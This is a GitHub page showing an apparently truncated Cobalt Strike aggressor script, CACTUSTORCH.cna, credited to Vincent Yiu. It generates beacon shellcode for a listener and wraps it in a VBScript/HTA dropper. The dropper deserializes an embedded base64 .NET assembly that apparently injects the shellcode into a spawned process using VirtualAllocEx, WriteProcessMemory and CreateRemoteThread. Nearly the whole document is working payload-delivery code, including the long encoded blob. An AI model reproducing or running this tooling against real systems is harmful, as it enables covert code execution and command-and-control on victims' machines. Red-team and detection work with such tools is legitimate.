forked from mdsecactivebreach/CACTUSTORCH
-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathCACTUSTORCH.cna
More file actions
1014 lines (965 loc) · 94.2 KB
/
CACTUSTORCH.cna
File metadata and controls
1014 lines (965 loc) · 94.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Host Payload (Stageless JavaScript / VBScript)
#
# Author: Vincent Yiu (@vysecurity)
# Credits to @armitagehacker for the original script
# setup our stageless PowerShell Web Delivery attack
sub setup_attack {
local('%options $script $url $payload');
%options = $3;
# Stageless variable = %options["stageless"];
# Type variable = %options["type"]
# Generate a raw powershell payload depending on type
if (%options["stageless"] eq "true"){
# Generate stageless payload
artifact_stageless(%options["listener"], "raw", "x86", $null, $this);
yield;
$payload = $1;
}
else{
# Generate staged payload
$payload = shellcode(%options["listener"], "true", "x86");
}
# $payload now has my shellcode in raw
$b64payload = base64_encode($payload);
# Now it's base64 encoded
$data = "";
if ((%options["type"] eq "VBScript") || (%options["type"] eq "HTA")){
# Did they select VBScript?
# VBScript it is!
$data = $data . "Dim binary : binary = \"" . %options["binary"] . "\"\r\n";
$data = $data . "Dim code : code = \"";
$data = $data . $b64payload . "\"\r\n";
# variables set at this point
$data = $data . "Sub Debug(s)\r\n";
$data = $data . "End Sub\r\n";
$data = $data . "Sub SetVersion\r\n";
$data = $data . "Dim shell\r\n";
$data = $data . "Set shell = CreateObject(\"WScript.Shell\")\r\n";
$data = $data . "Dim ver\r\n";
$data = $data . "ver = \"v4.0.30319\"\r\n";
$data = $data . "On Error Resume Next\r\n";
$data = $data . "shell.RegRead \"HKLM\\SOFTWARE\\\\Microsoft\\.NETFramework\\v4.0.30319\\\"\r\n";
$data = $data . "If Err.Number <> 0 Then\r\n";
$data = $data . " ver = \"v2.0.50727\"\r\n";
$data = $data . " Err.Clear\r\n";
$data = $data . "End If\r\n";
$data = $data . "shell.Environment(\"Process\").Item(\"COMPLUS_Version\") = ver\r\n";
$data = $data . "End Sub\r\n";
$data = $data . "Function Base64ToStream(b)\r\n";
$data = $data . " Dim enc, length, ba, transform, ms\r\n";
$data = $data . " Set enc = CreateObject(\"System.Text.ASCIIEncoding\")\r\n";
$data = $data . " length = enc.GetByteCount_2(b)\r\n";
$data = $data . " Set transform = CreateObject(\"System.Security.Cryptography.FromBase64Transform\")\r\n";
$data = $data . " Set ms = CreateObject(\"System.IO.MemoryStream\")\r\n";
$data = $data . " ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)\r\n";
$data = $data . " ms.Position = 0\r\n";
$data = $data . " Set Base64ToStream = ms\r\n";
$data = $data . "End Function\r\n";
$data = $data . "Sub Run\r\n";
$data = $data . "Dim s, entry_class\r\n";
$data = $data . "s = \"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy\"\r\n";
$data = $data . "s = s & \"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph\"\r\n";
$data = $data . "s = s & \"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk\"\r\n";
$data = $data . "s = s & \"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD\"\r\n";
$data = $data . "s = s & \"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl\"\r\n";
$data = $data . "s = s & \"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU\"\r\n";
$data = $data . "s = s & \"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl\"\r\n";
$data = $data . "s = s & \"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90\"\r\n";
$data = $data . "s = s & \"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu\"\r\n";
$data = $data . "s = s & \"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH\"\r\n";
$data = $data . "s = s & \"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA\"\r\n";
$data = $data . "s = s & \"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw\"\r\n";
$data = $data . "s = s & \"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu\"\r\n";
$data = $data . "s = s & \"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA\"\r\n";
$data = $data . "s = s & \"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u\"\r\n";
$data = $data . "s = s & \"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5\"\r\n";
$data = $data . "s = s & \"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR\"\r\n";
$data = $data . "s = s & \"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA\"\r\n";
$data = $data . "s = s & \"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y\"\r\n";
$data = $data . "s = s & \"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh\"\r\n";
$data = $data . "s = s & \"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz\"\r\n";
$data = $data . "s = s & \"ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy\"\r\n";
$data = $data . "s = s & \"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAWIaiWgAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAA4AAiIAsBMAAAFgAAAAYAAAAAAADuNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnDUA\"\r\n";
$data = $data . "s = s & \"AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAALnRleHQAAAD0FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA\"\r\n";
$data = $data . "s = s & \"AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAANA1AAAAAAAASAAAAAIABQAMIgAAkBMAAAEAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT\"\r\n";
$data = $data . "s = s & \"MAoAHAEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMKAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA\"\r\n";
$data = $data . "s = s & \"Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME\"\r\n";
$data = $data . "s = s & \"EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAo5gAAAABEFFnMR\"\r\n";
$data = $data . "s = s & \"AAAKByAAMAAAGigCAAAGEwYSBigWAAAKclcAAHAoGAAACiwKEQUWKAUAAAYmKhYTBxIIBo5pKBEA\"\r\n";
$data = $data . "s = s & \"AAoRBREGBhEIEQcoBAAABiYRBREGBx8gFnMRAAAKKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMR\"\r\n";
$data = $data . "s = s & \"AAAKKAYAAAYmKnoCfhUAAAp9AgAABAIoDwAACgICKBkAAAp9AQAABCoAEzACAGAAAAAAAAAAAn4V\"\r\n";
$data = $data . "s = s & \"AAAKfSsAAAQCfhUAAAp9LAAABAJ+FQAACn0tAAAEAn4VAAAKfTgAAAQCfhUAAAp9OQAABAJ+FQAA\"\r\n";
$data = $data . "s = s & \"Cn06AAAEAn4VAAAKfTsAAAQCKA8AAAoCAigZAAAKfSoAAAQqQlNKQgEAAQAAAAAADAAAAHYyLjAu\"\r\n";
$data = $data . "s = s & \"NTA3MjcAAAAABQBsAAAAXAcAACN+AADIBwAAdAkAACNTdHJpbmdzAAAAADwRAABcAAAAI1VTAJgR\"\r\n";
$data = $data . "s = s & \"AAAQAAAAI0dVSUQAAACoEQAA6AEAACNCbG9iAAAAAAAAAAIAAAFXHQIUCQIAAAD6ATMAFgAAAQAA\"\r\n";
$data = $data . "s = s & \"ABcAAAAJAAAAUAAAAAoAAAAkAAAAGQAAADMAAAASAAAAAQAAAAEAAAAGAAAAAQAAAAEAAAAHAAAA\"\r\n";
$data = $data . "s = s & \"AACZBgEAAAAAAAYAXAWSBwYAyQWSBwYAigRgBw8AsgcAAAYAsgThBgYAMAXhBgYAEQXhBgYAsAXh\"\r\n";
$data = $data . "s = s & \"BgYAfAXhBgYAlQXhBgYAyQThBgYAngRzBwYAfARzBwYA9AThBgYAqwipBgYAYQSpBgYATQWpBgYA\"\r\n";
$data = $data . "s = s & \"sAapBgYA5AipBgYAWQepBgYA2AipBgYAZgapBgYAhAZzBwAAAAAlAAAAAAABAAEAAQAQAG0GAAA9\"\r\n";
$data = $data . "s = s & \"AAEAAQAKABAA+AcAAD0AAQAJAAoBEADOBgAAQQAEAAoAAgEAABsIAABJAAgACgACAQAANggAAEkA\"\r\n";
$data = $data . "s = s & \"JwAKAAoAEAAGBwAAPQAqAAoAAgEAAG0EAABJADwACwACAQAA8wYAAEkARQALAAYAfQb6AAYARAc/\"\r\n";
$data = $data . "s = s & \"AAYAJAT9AAYAdAg/AAYA5wM/AAYAyAP6AAYAvQP6AAYGngMAAVaAsgIDAVaAwAIDAVaAZAADAVaA\"\r\n";
$data = $data . "s = s & \"iAIDAVaAwgADAVaAUwIDAVaA8QEDAVaAHQIDAVaABQIDAVaAoAEDAVaAAgMDAVaAXgEDAVaASAED\"\r\n";
$data = $data . "s = s & \"AVaA4QEDAVaATQIDAVaAMQIDAVaAagMDAVaAggMDAVaAmQIDAVaAHQMDAVaAdgEDAVaAdQADAVaA\"\r\n";
$data = $data . "s = s & \"PQADAVaAJwEDAVaAqAADAVaAOgMDAVaAuQEDAVaAGAEDAVaAxgEDAVaA5QIDAQYGngMAAVaAkQAH\"\r\n";
$data = $data . "s = s & \"AVaAcgIHAQYApgP6AAYA7wM/AAYAFwc/AAYAMwQ/AAYASwP6AAYAmgP6AAYA5wX6AAYA7wX6AAYA\"\r\n";
$data = $data . "s = s & \"Rwj6AAYAVQj6AAYA5AT6AAYALgj6AAYAAQkLAQYADQALAQYAGQA/AAYA7Ag/AAYA9gg/AAYANAc/\"\r\n";
$data = $data . "s = s & \"AAYGngMAAVaA3gIOAVaA7wAOAVaAnQEOAVaA2AIOAVaA1QEOAVaADwEOAVaAlAEOAVaAAwEOAQYG\"\r\n";
$data = $data . "s = s & \"ngMAAVaA5wASAVaAVwASAVaA1QASAVaAWAMSAVaAaQISAVaATwMSAVaA3QASAVaAYAMSAVaAEQYS\"\r\n";
$data = $data . "s = s & \"AVaAJAYSAVaAOQYSAQAAAACAAJYgLgAWAQEAAAAAAIAAliANCSoBCwAAAAAAgACWIBwJNQEQAAAA\"\r\n";
$data = $data . "s = s & \"AACAAJYgNAk/ARUAAAAAAIAAliBjCEkBGgAAAAAAgACRINQDTwEcAFAgAAAAAIYYPgcGACMAWCAA\"\r\n";
$data = $data . "s = s & \"AAAAhgBNBFoBIwCAIQAAAACGGD4HBgAlAKAhAAAAAIYYPgcGACUAAAABADsEAAACAFMEAAADAOQH\"\r\n";
$data = $data . "s = s & \"AAAEANEHAAAFAMEHAAAGAAsIAAAHANYIAAAIAEcJAQAJAAQHAgAKAMwGAAABABsEAAACAIsIAAAD\"\r\n";
$data = $data . "s = s & \"AAMGAAAEAGsEAAAFAL8IAAABABsEAAACAIsIAAADAAMGAAAEAMkIAAAFALIIAAABAHQIAAACAH0I\"\r\n";
$data = $data . "s = s & \"AAADACEHAAAEAAMGAAAFALUGAAABAHQIAAACAPoDAAABAHQIAAACANEHAAADAPcFAAAEAJUIAAAF\"\r\n";
$data = $data . "s = s & \"ACgHAAAGAAsIAAAHALIDAAABAC0JAAACAAEACQA+BwEAEQA+BwYAGQA+BwoAKQA+BxAAMQA+BxAA\"\r\n";
$data = $data . "s = s & \"OQA+BxAAQQA+BxAASQA+BxAAUQA+BxAAWQA+BxAAYQA+BxUAaQA+BxAAcQA+BxAAiQA+BwYAeQA+\"\r\n";
$data = $data . "s = s & \"BwYAmQBTBikAoQA+BwEAqQAEBC8AsQB5BjQAsQCkCDgAoQASBz8AoQBkBkIAsQBmCUYAsQBaCUYA\"\r\n";
$data = $data . "s = s & \"uQAKBkwACQAkAFoACQAoAF8ACQAsAGQACQAwAGkACQA0AG4ACQA4AHMACQA8AHgACQBAAH0ACQBE\"\r\n";
$data = $data . "s = s & \"AIIACQBIAIcACQBMAIwACQBQAJEACQBUAJYACQBYAJsACQBcAKAACQBgAKUACQBkAKoACQBoAK8A\"\r\n";
$data = $data . "s = s & \"CQBsALQACQBwALkACQB0AL4ACQB4AMMACQB8AMgACQCAAM0ACQCEANIACQCIANcACQCMANwACQCQ\"\r\n";
$data = $data . "s = s & \"AOEACQCUAOYACQCYAOsACQCgAFoACQCkAF8ACQD0AJYACQD4AJsACQD8APAACQAAAbkACQAEAeEA\"\r\n";
$data = $data . "s = s & \"CQAIAfUACQAMAb4ACQAQAcMACQAYAW4ACQAcAXMACQAgAXgACQAkAX0ACQAoAVoACQAsAV8ACQAw\"\r\n";
$data = $data . "s = s & \"AWQACQA0AWkACQA4AYIACQA8AYcACQBAAYwALgALAGABLgATAGkBLgAbAIgBLgAjAJEBLgArAJEB\"\r\n";
$data = $data . "s = s & \"LgAzAKIBLgA7AKIBLgBDAJEBLgBLAJEBLgBTAKIBLgBbAKgBLgBjAK4BLgBrANgBQwBbAKgBowBz\"\r\n";
$data = $data . "s = s & \"AFoAwwBzAFoAAwFzAFoAIwFzAFoAGgCMBgABAwAuAAEAAAEFAA0JAQAAAQcAHAkBAAABCQA0CQEA\"\r\n";
$data = $data . "s = s & \"AAELAGMIAQAAAQ0A1AMBAASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAA\"\r\n";
$data = $data . "s = s & \"AAMAAgAEAAIABQACAAYAAgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQy\"\r\n";
$data = $data . "s = s & \"AGxwUmVzZXJ2ZWQyADxNb2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJP\"\r\n";
$data = $data . "s = s & \"TV9KT0IARVhFQ1VURV9SRUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9V\"\r\n";
$data = $data . "s = s & \"TkRfRU5EAERVUExJQ0FURV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBD\"\r\n";
$data = $data . "s = s & \"UkVBVEVfTkVXX0NPTlNPTEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RV\"\r\n";
$data = $data . "s = s & \"U1RPUkNIAFdSSVRFX1dBVENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJW\"\r\n";
$data = $data . "s = s & \"RV9DT0RFX0FVVEhaX0xFVkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVf\"\r\n";
$data = $data . "s = s & \"V09XX1ZETQBQUk9DRVNTX01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVf\"\r\n";
$data = $data . "s = s & \"TkVXX1BST0NFU1NfR1JPVVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VT\"\r\n";
$data = $data . "s = s & \"AENSRUFURV9GT1JDRURPUwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NM\"\r\n";
$data = $data . "s = s & \"QVNTAEhJR0hfUFJJT1JJVFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9X\"\r\n";
$data = $data . "s = s & \"X05PUk1BTF9QUklPUklUWV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVU\"\r\n";
$data = $data . "s = s & \"QUNIRURfUFJPQ0VTUwBDUkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJV\"\r\n";
$data = $data . "s = s & \"R19PTkxZX1RISVNfUFJPQ0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVG\"\r\n";
$data = $data . "s = s & \"QVVMVABDUkVBVEVfVU5JQ09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVT\"\r\n";
$data = $data . "s = s & \"RU5UAENSRUFURV9OT19XSU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVS\"\r\n";
$data = $data . "s = s & \"SVRfUEFSRU5UX0FGRklOSVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNi\"\r\n";
$data = $data . "s = s & \"AG1zY29ybGliAGxwVGhyZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVU\"\r\n";
$data = $data . "s = s & \"aHJlYWQAaFRocmVhZABscFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxl\"\r\n";
$data = $data . "s = s & \"AGxwSGFuZGxlAGJJbmhlcml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUA\"\r\n";
$data = $data . "s = s & \"bHBDb21tYW5kTGluZQBWYWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERl\"\r\n";
$data = $data . "s = s & \"YnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmli\"\r\n";
$data = $data . "s = s & \"dXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZp\"\r\n";
$data = $data . "s = s & \"bGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJs\"\r\n";
$data = $data . "s = s & \"eURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlv\"\r\n";
$data = $data . "s = s & \"bnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0\"\r\n";
$data = $data . "s = s & \"cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJp\"\r\n";
$data = $data . "s = s & \"YnV0ZQBkd1hTaXplAGR3WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2Rp\"\r\n";
$data = $data . "s = s & \"ZmllcmZsYWcATk9DQUNIRV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBG\"\r\n";
$data = $data . "s = s & \"cm9tQmFzZTY0U3RyaW5nAFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABr\"\r\n";
$data = $data . "s = s & \"ZXJuZWwzMi5kbGwAQ0FDVFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dy\"\r\n";
$data = $data . "s = s & \"aXR0ZW4AbHBQcm9jZXNzSW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVj\"\r\n";
$data = $data . "s = s & \"dGlvbgBscFN0YXJ0dXBJbmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3Rk\"\r\n";
$data = $data . "s = s & \"RXJyb3IALmN0b3IAbHBTZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGlj\"\r\n";
$data = $data . "s = s & \"cwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJT\"\r\n";
$data = $data . "s = s & \"ZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVz\"\r\n";
$data = $data . "s = s & \"AGxwUHJvY2Vzc0F0dHJpYnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBD\"\r\n";
$data = $data . "s = s & \"cmVhdGVQcm9jZXNzRmxhZ3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMA\"\r\n";
$data = $data . "s = s & \"ZHdZQ291bnRDaGFycwBUZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBB\"\r\n";
$data = $data . "s = s & \"ZGRyZXNzAGxwU3RhcnRBZGRyZXNzAENvbmNhdABPYmplY3QAZmxPbGRQcm90ZWN0AGZsUHJvdGVj\"\r\n";
$data = $data . "s = s & \"dABmbE5ld1Byb3RlY3QAbHBFbnZpcm9ubWVudABDb252ZXJ0AGhTdGRJbnB1dABoU3RkT3V0cHV0\"\r\n";
$data = $data . "s = s & \"AHdTaG93V2luZG93AFZpcnR1YWxBbGxvY0V4AFZpcnR1YWxQcm90ZWN0RXgAYmluYXJ5AFdyaXRl\"\r\n";
$data = $data . "s = s & \"UHJvY2Vzc01lbW9yeQBscEN1cnJlbnREaXJlY3RvcnkAb3BfRXF1YWxpdHkAb3BfSW5lcXVhbGl0\"\r\n";
$data = $data . "s = s & \"eQAAAQAZUAByAG8AZwByAGEAbQBXADYANAAzADIAAA13AGkAbgBkAGkAcgAAFVwAUwB5AHMAVwBP\"\r\n";
$data = $data . "s = s & \"AFcANgA0AFwAABVcAFMAeQBzAHQAZQBtADMAMgBcAAADMAAAABZi8URz/RpBkHALmYfP+r4ABCAB\"\r\n";
$data = $data . "s = s & \"AQgDIAABBSABARERBCABAQ4EIAEBAg4HCR0FGBIcERAOGBgIGAUAAR0FDgQAAQ4OAyAACAYAAw4O\"\r\n";
$data = $data . "s = s & \"Dg4CBhgDIAAOBQACAg4OBAABCBwIt3pcVhk04IkEAQAAAAQCAAAABAQAAAAECAAAAAQQAAAABCAA\"\r\n";
$data = $data . "s = s & \"AAAEQAAAAASAAAAABAABAAAEAAIAAAQABAAABAAIAAAEABAAAAQAIAAABABAAAAEAIAAAAQAAAEA\"\r\n";
$data = $data . "s = s & \"BAAAAgAEAAAEAAQAAAgABAAAEAAEAAAgAAQAAAABBAAAAAIEAAAABAQAAAAIBAAAABAEAAAAIAQA\"\r\n";
